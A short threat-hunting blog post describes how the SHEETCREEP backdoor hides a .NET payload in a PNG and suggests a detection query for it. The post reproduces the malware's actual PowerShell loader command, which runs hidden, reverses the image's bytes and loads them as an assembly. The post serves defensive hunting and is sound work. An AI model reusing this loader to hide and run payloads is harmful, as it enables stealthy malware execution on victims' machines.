371. Adversaries Disguise Malicious Files as PNG Images

Hello everyone!

Today we’ll look at another interesting example of implementing one of my favorite techniques for proactive hunting - Command and Scripting Interpreter: PowerShell (T1059.001).

This example is related to the distribution of the SHEETCREEP backdoor. The attackers distributed ZIP archives that contained two files: an LNK and a PNG. Opening the LNK file executed the following command:

powershell.exe -WindowStyle Hidden -Command "$b=[IO.File]::ReadAllBytes('details.png');([System.Reflection.Assembly]::Load([byte[]]($b[($b.Length-1)..0])).GetType(\"Task10.Program\")::MB())"

The command reads bytes from the PNG file, reverses them, and loads them as a .NET assembly.

What can we hunt for? For example, reading bytes with PowerShell from suspicious files, in particular PNG files (of course, you can extend this list):

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: (*ReadAllBytes* AND *png*)

See you soon!

Comments

Popular posts from this blog

082. Huniting for Malicious Browser Extensions

033. Free Google Threat Intelligence Course

068. Detecting RMMs from Ransomware Affiliate's Toolkit: MeshAgent